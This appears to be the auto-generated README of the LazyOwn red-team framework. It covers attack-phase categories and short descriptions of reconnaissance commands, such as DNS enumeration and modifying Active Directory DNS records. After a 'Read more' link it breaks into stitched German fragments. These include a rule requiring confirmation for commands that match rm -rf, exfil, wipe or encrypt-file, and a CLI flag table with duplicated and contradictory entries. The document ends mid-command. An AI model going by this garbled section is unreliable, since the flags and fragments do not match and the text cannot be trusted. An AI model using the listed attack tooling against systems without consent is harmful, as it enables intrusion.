<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
</picture>
</a>
# Documentation by readmeneitor.py
Documentation automatically created by the script `readmeneitor.py` created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.
## ReadMenator now have a repository
[https://github.com/grisuno/ReadMenator](https://github.com/grisuno/ReadMenator)
# Legal disclaimer:
Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.
---
<!-- START UTILS -->
# LazyOwn Command Reference
Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.
## Table of Contents
- [01. Reconnaissance](#01-reconnaissance) (38 commands)
- [02. Scanning & Enumeration](#02-scanning-&-enumeration) (74 commands)
- [03. Exploitation](#03-exploitation) (66 commands)
- [04. Post-Exploitation](#04-post-exploitation) (45 commands)
- [05. Persistence](#05-persistence) (33 commands)
- [06. Privilege Escalation](#06-privilege-escalation) (16 commands)
- [07. Credential Access](#07-credential-access) (31 commands)
- [08. Lateral Movement](#08-lateral-movement) (30 commands)
- [09. Data Exfiltration](#09-data-exfiltration) (35 commands)
- [10. Command & Control](#10-command-&-control) (28 commands)
- [11. Reporting](#11-reporting) (26 commands)
- [12. Miscellaneous](#12-miscellaneous) (169 commands)
- [13. Diagnostics](#13-diagnostics) (2 commands)
- [Uncategorized](#uncategorized) (135 commands)
---
## 01. Reconnaissance
### `alterx`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'
### `apache_users`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs enumeration of users from a target system using `apache-users`.
### `binarycheck`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs various checks on a selected binary to gather information and protections.
### `cve`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Search for a CVE using the CIRCL API.
### `dig`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Executes the `dig` command to query DNS information.
### `dnschef`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the DNSChef tool to monitor DNS queries and intercept responses.
### `dnsenum`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs DNS enumeration using `dnsenum` to identify subdomains for a given domain.
### `dnsmap`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs DNS enumeration using `dnsmap` to discover subdomains for a specified domain.
### `dnstool_py`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the dnstool.py tool to modify Active Directory-integrated DNS records.
### `estorides_import`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Import Estorides-discovered entities into LazyOwn database and scope.
### `estorides_loop`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Run the bidirectional Estorides <-> LazyOwn feedback loop.
### `estorides_seed`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.
### `estorides_surface`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Show the combined active + passive attack surface.
### `finalrecon`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Runs the `finalrecon` tool to perform a web server vulnerability scan against the specified target host.
### `getcap`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Retrieve and display file capabilities on the system.
### `gospider`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Try gospider for web spidering.
### `graudit`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the graudit command to perform a static code analysis with the specified options.
### `httprobe`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.
### `ipinfo`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Retrieves detailed information about an IP address using the ARIN API.
### `launchpad`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
---
[Read more](https://github.com/grisuno/lazyown)
lazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary und jedes run_command, dessen Body auf rm -rf / exfil / wipe / encrypt-file passt, erfordern jetzt ein explizites confirm=true-Argument. |
| Verhindert versehentliche destruktive Aktionen aus autonomen Schleifen. |
| Provenienz + Konfidenz bei Credentials | Jedes über target_context offengelegte Credential enthält is_likely_credential, confidence, classification und einen provenance-Block (source_file, line_no, captured_at), sofern gefunden. | Erforderlich für die Chain-of-Custody in Pentest-Berichten. |
| Aktualitäts-Annotationen | Jede Evidenzdatei im JSON-SITREP und in target_context trägt age_seconds, age_human und stale=true, sobald sie freshness_threshold_seconds überschreitet (Standard 7 Tage; pro Aufruf konfigurierbar). | Verhindert, dass der Agent auf Basis veralteter Recon-Evidenz ausnutzt. |
secretsdumpPayloadAwareCompleter |
| Dynamische Alias-Auflösung | cli/aliases.py verwendet jetzt standardmäßig lazy=True: Alias-Templates behalten ihre {rhost}/{lhost}/etc.-Platzhalter und werden zur Ausführungszeit gegen self.params gerendert. set rhost X propagiert zum nächsten Tastendruck auf jeden Alias (kein Shell-Neustart). Prä-Substitution ist weiterhin mit lazy=False verfügbar. | DynamicAliasResolver, cli/aliases.py |
-a--api-key<api-key> |
| Legt den API-Schlüssel fest, der verwendet werden soll |
-d, --data | <data> | Legt die Daten fest, die verwendet werden sollen |
-e, --endpoint | <endpoint> | Legt den Endpunkt fest, der verwendet werden soll |
-r, --report | <report> | Legt den Bericht fest, der generiert werden soll |
-i, --input | <input> | Legt die Eingabedatei fest, die verwendet werden soll |
-x, --proxy | <proxy> | Legt den Proxy fest, der verwendet werden soll |
-z, --timeout | <timeout> | Legt das Timeout fest, das verwendet werden soll |
-w, --wordlist | <wordlist> | Legt die Wortliste fest, die verwendet werden soll |
-q, --quiet | Legt fest, ob die Ausgabe unterdrückt werden soll |
-V, --verbose | Legt fest, ob die Ausgabe ausführlich sein soll |
-D, --debug | Legt fest, ob die Ausgabe im Debug-Modus erfolgen soll |
-S, --silent | Legt fest, ob die Ausgabe stumm erfolgen soll |
-C, --color | Legt fest, ob die Ausgabe farbig sein soll |
-N, --no-color | Legt fest, ob die Ausgabe nicht farbig sein soll |
-U, --update | Legt fest, ob das Tool aktualisiert werden soll |
-A, --about | Legt fest, ob Informationen über das Tool angezeigt werden sollen |
-H, --help | Legt fest, ob die Hilfe-Nachricht angezeigt werden soll |
-E, --example | Legt fest, ob ein Beispiel angezeigt werden soll |
-T, --test | Legt fest, ob ein Test ausgeführt werden soll |
-R, --reset | Legt fest, ob das Tool zurückgesetzt werden soll |
-P, --path | <path> | Legt den Pfad fest, der verwendet werden soll |
-F, --file | <file> | Legt die Datei fest, die verwendet werden soll |
-G, --grep | <grep> | Legt das Grep-Muster fest, das verwendet werden soll |
-B, --blacklist | <blacklist> | Legt die Blacklist fest, die verwendet werden soll |
-W, --whitelist | <whitelist> | Legt die Whitelist fest, die verwendet werden soll |
-I, --include | <include> | Legt das Include-Muster fest, das verwendet werden soll |
-X, --exclude | <exclude> | Legt das Exclude-Muster fest, das verwendet werden soll |
-Y, --yes | Legt fest, ob alle Eingabeaufforderungen automatisch mit Ja beantwortet werden sollen |
-Z, --no | Legt fest, ob alle Eingabeaufforderungen automatisch mit Nein beantwortet werden sollen |
-J, --json | Legt fest, ob die Ausgabe im JSON-Format erfolgen soll |
-K, --yaml | Legt fest, ob die Ausgabe im YAML-Format erfolgen soll |
-L, --xml | Legt fest, ob die Ausgabe im XML-Format erfolgen soll |
-M, --markdown | Legt fest, ob die Ausgabe im Markdown-Format erfolgen soll |
-O, --html | Legt fest, ob die Ausgabe im HTML-Format erfolgen soll |
-Q, --csv | Legt fest, ob die Ausgabe im CSV-Format erfolgen soll |
-Y, --yaml | Legt fest, ob die Ausgabe im YAML-Format erfolgen soll |
-Z, --xml | Legt fest, ob die Ausgabe im XML-Format erfolgen soll |
-J, --json | Legt fest, ob die Ausgabe im JSON-Format erfolgen soll |
-K, --yaml | Legt fest, ob die Ausgabe im YAML-Format erfolgen soll |
-L, --xml | Legt fest, ob die Ausgabe im XML-Format erfolgen soll |
-M, --markdown | Legt fest, ob die Ausgabe im Markdown-Format erfolgen soll |
-O, --html | Legt fest, ob die Ausgabe im HTML-Format erfolgen soll |
-Q, --csv | Legt fest, ob die Ausgabe im CSV-Format erfolgen soll |
| python3 lazyown_bprfuzzer.py \ ─╯ |